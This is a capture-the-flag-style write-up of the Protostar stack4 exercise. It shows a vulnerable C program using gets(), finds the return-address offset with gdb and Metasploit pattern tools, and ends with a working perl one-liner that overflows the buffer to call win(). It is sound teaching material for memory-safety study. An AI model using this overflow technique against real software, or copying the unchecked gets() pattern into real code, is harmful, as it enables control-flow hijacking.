With this challenge, I think things really start to get fun, and more real-world.
We are provided with the following C program:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
This C app will simply read a value from user input, and store it in “buffer”. We then need to get it to somehow execute “win()”.
To get started, just like in the last challenge, I used objdump to find out where “win()” was located:
user@protostar:/opt/protostar/bin$ objdump -d stack4
...
080483f4 <win>:
...
Because we’re going to need to modify the EIP of this program, we need to find where it is. You may want to think that it would be immediately after the 64 bytes of the “buffer” array, however this is often times extra space due to null terminators, return values, and more. So I use some tools from the Metasploit Framework on another machine to find the EIP.
First, I generate a unique string, using the pattern_create tool:
mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_create.rb 128
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae
Then I execute the vulnerable program in gdb, feeding it the unique string to the input:
user@protostar:/opt/protostar/bin$ gdb --quiet ./stack4
Reading symbols from /opt/protostar/bin/stack4...done.
(gdb) run
Starting program: /opt/protostar/bin/stack4
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae
Program received signal SIGSEGV, Segmentation fault.
0x63413563 in ?? ()
Now I know that the EIP contains the value 0x63413563. I can go back to the Metasploit tools and run the pattern_offset tool to tell me the offset of the EIP:
mandreko@li225-134:/opt/framework-4.0.0/msf3/tools$ ./pattern_offset.rb 0x63413563
76
This tells me that unlike the 64 characters I would have thought, it’s actually offset by 76 characters. So now we just have to get the address of “win()” (0x080483f4) into the EIP at 76 bytes offset:
user@protostar:/opt/protostar/bin$ perl -e 'print "A"x76 . "\xf4\x83\x04\x08"' | ./stack4
code flow successfully changed
Segmentation fault
There you have it. We get the execution from “win()”.